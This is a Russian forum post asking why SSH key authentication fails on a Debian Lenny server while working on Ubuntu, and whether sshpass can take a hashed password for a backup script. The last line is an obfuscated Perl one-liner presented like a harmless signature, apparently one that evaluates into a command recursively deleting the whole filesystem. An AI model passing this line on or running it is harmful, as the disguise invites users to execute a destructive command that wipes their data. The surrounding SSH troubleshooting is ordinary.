Только в предыдущей ветке про WiFi упомянули про ошибки в пакетах, как на те фашист гранату и где бы, в Debian Lenny. Видимо и на старуху бывает проруха, а может что сам кривлю.
---
Есть два сервера на убунде и на дебиане. На убунтовом сервере генерю ключи без пасса:
ssh-keygen -t dsa
полученный id_dsa.pub закидываю на сервер в хоум .ssh/authorized_keys. в конфе sshd путь к этому конфу есть и все разрешения, права на дир 700 на файл 600, все по ману, для уверенности ребут сервера
/etc/init.d/ssh restart
Restarting OpenBSD Secure Shell server: sshd.
Пробую заходить, сразу запрос пароля. Поясню, если в конфе в параметрах
RSAAuthentication yes
PubkeyAuthentication yes
сервер должен хоть глянуть в директорию и ругнутся мол ключ не тот, а тут тишина сразу пароль и все.
----
Делаю Наоборот, т.е. генерю ключи на дебе, сую в убунту, и пробую с деба на убунту зайти по ключам - влетает только в путь, т.е. делаю все тоже самое и верно стало быть. А вот деб упрямый не видит ключа и все
.
С горя взял рабочий конф с убунты и ключи и перезаписал на деб их (ведь в убунте то работают) и тож самое, при коннекте даже слова нет что он зырит и ищет rsa.
(пробовал и на фряхе, везде работает, акромя деба
)
Плюнул бы, да скрипт пишу удаленного бекапа, он по ссш заходит, между серверами доверительные по ключам должны быть. Есть вариант с использованием:
$sshpass -p pass scp -r -P port dir/ user@192.168.10.222:/mnt/bac3
так тоже войдет, но вот пасс в открытом виде в скрпте - это очень плохая идея.
На эту тему вопрос знатокам, может есть возможность указания хеша пасса для sshpass ?
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'